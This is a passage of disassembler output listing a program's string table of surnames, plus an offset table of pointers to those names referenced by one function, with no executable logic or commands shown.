_2:00447D64o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: _2:00447D68o align 4 aStock db 'Stock',0 ; DATA XREF: _2:00447D6Co align 10h aStockton db 'Stockton',0 ; DATA XREF: _2:00447D70o align 4 aStockwell db 'Stockwell',0 ; DATA XREF: _2:00447D74o align 4 aStolzenberg db 'Stolzenberg',0 ; DATA XREF: _2:00447D78o aStonich db 'Stonich',0 ; DATA XREF: _2:00447D7Co aStorer db 'Storer',0 ; DATA XREF: _2:00447D80o align 4 aStott db 'Stott',0 ; DATA XREF: _2:00447D84o align 4 aStrange db 'Strange',0 ; DATA XREF: _2:00447D88o aStrauch db 'Strauch',0 ; DATA XREF: _2:00447D8Co aStreiff db 'Streiff',0 ; DATA XREF: _2:00447D90o aStringer db 'Stringer',0 ; DATA XREF: _2:00447D94o align 10h aSullivan db 'Sullivan',0 ; DATA XREF: _2:00447D98o align 4 aSumner db 'Sumner',0 ; DATA XREF: _2:00447D9Co align 4 aSuo db 'Suo',0 ; DATA XREF: _2:00447DA0o aSurdam db 'Surdam',0 ; DATA XREF: _2:00447DA4o align 10h aSweeting db 'Sweeting',0 ; DATA XREF: _2:00447DA8o align 4 aSweetser db 'Sweetser',0 ; DATA XREF: _2:00447DACo align 4 aSwindle db 'Swindle',0 ; DATA XREF: _2:00447DB0o aTagiuri db 'Tagiuri',0 ; DATA XREF: _2:00447DB4o aTai db 'Tai',0 ; DATA XREF: _2:00447DB8o aTalaugon db 'Talaugon',0 ; DATA XREF: _2:00447DBCo align 4 aTambiah db 'Tambiah',0 ; DATA XREF: _2:00447DC0o aTandler db 'Tandler',0 ; DATA XREF: _2:00447DC4o aTanowitz db 'Tanowitz',0 ; DATA XREF: _2:00447DC8o align 4 aTatar db 'Tatar',0 ; DATA XREF: _2:00447DCCo align 4 aTaveras db 'Taveras',0 ; DATA XREF: _2:00447DD0o aTawn db 'Tawn',0 ; DATA XREF: _2:00447DD4o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: _2:00447DD8o align 4 aTeague db 'Teague',0 ; DATA XREF: _2:00447DDCo align 10h aTemes db 'Temes',0 ; DATA XREF: _2:00447DE0o align 4 aTemmer db 'Temmer',0 ; DATA XREF: _2:00447DE4o align 10h aTenney db 'Tenney',0 ; DATA XREF: _2:00447DE8o align 4 aTerracini db 'Terracini',0 ; DATA XREF: _2:00447DECo align 4 aThan db 'Than',0 ; DATA XREF: _2:00447DF0o align 4 aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: _2:00447DF4o align 4 aTheodos db 'Theodos',0 ; DATA XREF: _2:00447DF8o aThibault db 'Thibault',0 ; DATA XREF: _2:00447DFCo align 10h aThisted db 'Thisted',0 ; DATA XREF: _2:00447E00o aThomsen db 'Thomsen',0 ; DATA XREF: _2:00447E04o aThroop db 'Throop',0 ; DATA XREF: _2:00447E08o align 4 aTierney db 'Tierney',0 ; DATA XREF: _2:00447E0Co aTill db 'Till',0 ; DATA XREF: _2:00447E10o align 4 aTimmons db 'Timmons',0 ; DATA XREF: _2:00447E14o aTofallis db 'Tofallis',0 ; DATA XREF: _2:00447E18o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: _2:00447E1Co align 4 aTolls db 'Tolls',0 ; DATA XREF: _2:00447E20o align 10h aTolman db 'Tolman',0 ; DATA XREF: _2:00447E24o align 4 aTomford db 'Tomford',0 ; DATA XREF: _2:00447E28o aToomer db 'Toomer',0 ; DATA XREF: _2:00447E2Co align 4 aTopulos db 'Topulos',0 ; DATA XREF: _2:00447E30o aTorresi db 'Torresi',0 ; DATA XREF: _2:00447E34o aTorske db 'Torske',0 ; DATA XREF: _2:00447E38o align 10h aTowler db 'Towler',0 ; DATA XREF: _2:00447E3Co align 4 aToye db 'Toye',0 ; DATA XREF: _2:00447E40o align 10h aTraebert db 'Traebert',0 ; DATA XREF: _2:00447E44o align 4 aTrenga db 'Trenga',0 ; DATA XREF: _2:00447E48o align 4 aTrewin db 'Trewin',0 ; DATA XREF: _2:00447E4Co align 4 aTringali db 'Tringali',0 ; DATA XREF: _2:00447E50o align 4 aTroiani db 'Troiani',0 ; DATA XREF: _2:00447E54o aTroy db 'Troy',0 ; DATA XREF: _2:00447E58o align 4 aTruss db 'Truss',0 ; DATA XREF: _2:00447E5Co align 10h aTsiatis db 'Tsiatis',0 ; DATA XREF: _2:00447E60o aTsomides db 'Tsomides',0 ; DATA XREF: _2:00447E64o align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: _2:00447E68o align 10h aTuck db 'Tuck',0 ; DATA XREF: _2:00447E6Co align 4 aTudge db 'Tudge',0 ; DATA XREF: _2:00447E70o align 10h aTukan db 'Tukan',0 ; DATA XREF: _2:00447E74o align 4 aTurano db 'Turano',0 ; DATA XREF: _2:00447E78o align 10h aTurek db 'Turek',0 ; DATA XREF: _2:00447E7Co align 4 aTuttle db 'Tuttle',0 ; DATA XREF: _2:00447E80o align 10h aTwells db 'Twells',0 ; DATA XREF: _2:00447E84o align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: _2:00447E88o align 4 aUllman db 'Ullman',0 ; DATA XREF: _2:00447E8Co align 4 aUntermeyer db 'Untermeyer',0 ; DATA XREF: _2:00447E90o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: _2:00447E94o aUrban db 'Urban',0 ; DATA XREF: _2:00447E98o align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: _2:00447E9Co align 4 aUsdan db 'Usdan',0 ; DATA XREF: _2:00447EA0o align 10h aUzuner db 'Uzuner',0 ; DATA XREF: _2:00447EA4o align 4 aVacca db 'Vacca',0 ; DATA XREF: _2:00447EA8o align 10h aWaite db 'Waite',0 ; DATA XREF: _2:00447EACo align 4 aValberg db 'Valberg',0 ; DATA XREF: _2:00447EB0o aValencia db 'Valencia',0 ; DATA XREF: _2:00447EB4o align 4 aWales db 'Wales',0 ; DATA XREF: _2:00447EB8o align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: _2:00447EBCo align 10h aWalter db 'Walter',0 ; DATA XREF: _2:00447EC0o align 4 aVanallen db 'vanAllen',0 ; DATA XREF: _2:00447EC4o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: _2:00447EC8o aVandenberg db 'Vandenberg',0 ; DATA XREF: _2:00447ECCo align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: _2:00447ED0o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: _2:00447ED4o align 4 aWasowska db 'Wasowska',0 ; DATA XREF: _2:00447ED8o align 10h aVasquez db 'Vasquez',0 ; DATA XREF: _2:00447EDCo aWaugh db 'Waugh',0 ; DATA XREF: _2:00447EE0o align 10h aWeighart db 'Weighart',0 ; DATA XREF: _2:00447EE4o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: _2:00447EE8o align 4 aWeinhaus db 'Weinhaus',0 ; DATA XREF: _2:00447EECo align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: _2:00447EF0o align 10h aWeissman db 'Weissman',0 ; DATA XREF: _2:00447EF4o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: _2:00447EF8o align 4 aWelles db 'Welles',0 ; DATA XREF: _2:00447EFCo align 10h aWelsh db 'Welsh',0 ; DATA XREF: _2:00447F00o align 4 aWengret db 'Wengret',0 ; DATA XREF: _2:00447F04o aVenne db 'Venne',0 ; DATA XREF: _2:00447F08o align 4 aVerghese db 'Verghese',0 ; DATA XREF: _2:00447F0Co align 4 aWescott db 'Wescott',0 ; DATA XREF: _2:00447F10o aWetzel db 'Wetzel',0 ; DATA XREF: _2:00447F14o align 4 aWhately db 'Whately',0 ; DATA XREF: _2:00447F18o aWhilton db 'Whilton',0 ; DATA XREF: _2:00447F1Co aWhite db 'White',0 ; DATA XREF: _2:00447F20o align 4 aWhitla db 'Whitla',0 ; DATA XREF: _2:00447F24o align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: _2:00447F28o align 10h aViana db 'Viana',0 ; DATA XREF: _2:00447F2Co align 4 aViano db 'Viano',0 ; DATA XREF: _2:00447F30o align 10h aWiedersheim db 'Wiedersheim',0 ; DATA XREF: _2:00447F34o aWiener db 'Wiener',0 ; DATA XREF: _2:00447F38o align 4 aViens db 'Viens',0 ; DATA XREF: _2:00447F3Co align 4 aVignola db 'Vignola',0 ; DATA XREF: _2:00447F40o aWilder db 'Wilder',0 ; DATA XREF: _2:00447F44o align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: _2:00447F48o aWilk db 'Wilk',0 ; DATA XREF: _2:00447F4Co align 4 aWilkin db 'Wilkin',0 ; DATA XREF: _2:00447F50o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: _2:00447F54o align 10h aVillarreal db 'Villarreal',0 ; DATA XREF: _2:00447F58o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: _2:00447F5Co aWilson db 'Wilson',0 ; DATA XREF: _2:00447F60o align 10h aVitali db 'Vitali',0 ; DATA XREF: _2:00447F64o align 4 aViviani db 'Viviani',0 ; DATA XREF: _2:00447F68o aVoigt db 'Voigt',0 ; DATA XREF: _2:00447F6Co align 4 aWolk db 'Wolk',0 ; DATA XREF: _2:00447F70o align 10h aVonhoffman db 'VonHoffman',0 ; DATA XREF: _2:00447F74o align 4 aWoo db 'Woo',0 ; DATA XREF: _2:00447F78o aWooden db 'Wooden',0 ; DATA XREF: _2:00447F7Co align 4 aWoods db 'Woods',0 ; DATA XREF: _2:00447F80o align 10h aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: _2:00447F84o align 10h aVorhaus db 'Vorhaus',0 ; DATA XREF: _2:00447F88o aVotey db 'Votey',0 ; DATA XREF: _2:00447F8Co align 10h aYacono db 'Yacono',0 ; DATA XREF: _2:00447F90o align 4 aYamane db 'Yamane',0 ; DATA XREF: _2:00447F94o align 10h aYankee db 'Yankee',0 ; DATA XREF: _2:00447F98o align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: _2:00447F9Co aYates db 'Yates',0 ; DATA XREF: _2:00447FA0o align 4 aYbarra db 'Ybarra',0 ; DATA XREF: _2:00447FA4o align 10h aYedidia db 'Yedidia',0 ; DATA XREF: _2:00447FA8o aYesson db 'Yesson',0 ; DATA XREF: _2:00447FACo align 10h aYetiv db 'Yetiv',0 ; DATA XREF: _2:00447FB0o align 4 aYoffe db 'Yoffe',0 ; DATA XREF: _2:00447FB4o align 10h aYoo db 'Yoo',0 ; DATA XREF: _2:00447FB8o aYoukSee db 'Youk-See',0 ; DATA XREF: _2:00447FBCo align 10h aYu db 'Yu',0 ; DATA XREF: _2:00447FC0o align 4 aZachary db 'Zachary',0 ; DATA XREF: _2:00447FC4o aZahedi db 'Zahedi',0 ; DATA XREF: _2:00447FC8o align 4 aZangwill db 'Zangwill',0 ; DATA XREF: _2:00447FCCo align 10h aZegans db 'Zegans',0 ; DATA XREF: _2:00447FD0o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: _2:00447FD4o aZoldak db 'Zoldak',0 ; DATA XREF: _2:00447FD8o align 4 aZucconi db 'Zucconi',0 ; DATA XREF: _2:00447FDCo aZurn db 'Zurn',0 ; DATA XREF: _2:00447FE0o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: _2:00447FE4o align 10h aZytowski db 'Zytowski',0 ; DATA XREF: _2:00447FE8o align 10h off_446DB0 dd offset aAbdulrazak ; DATA XREF: sub_40AFAB+20r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" dd offset aAddison ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer_0 ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton_0 ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset 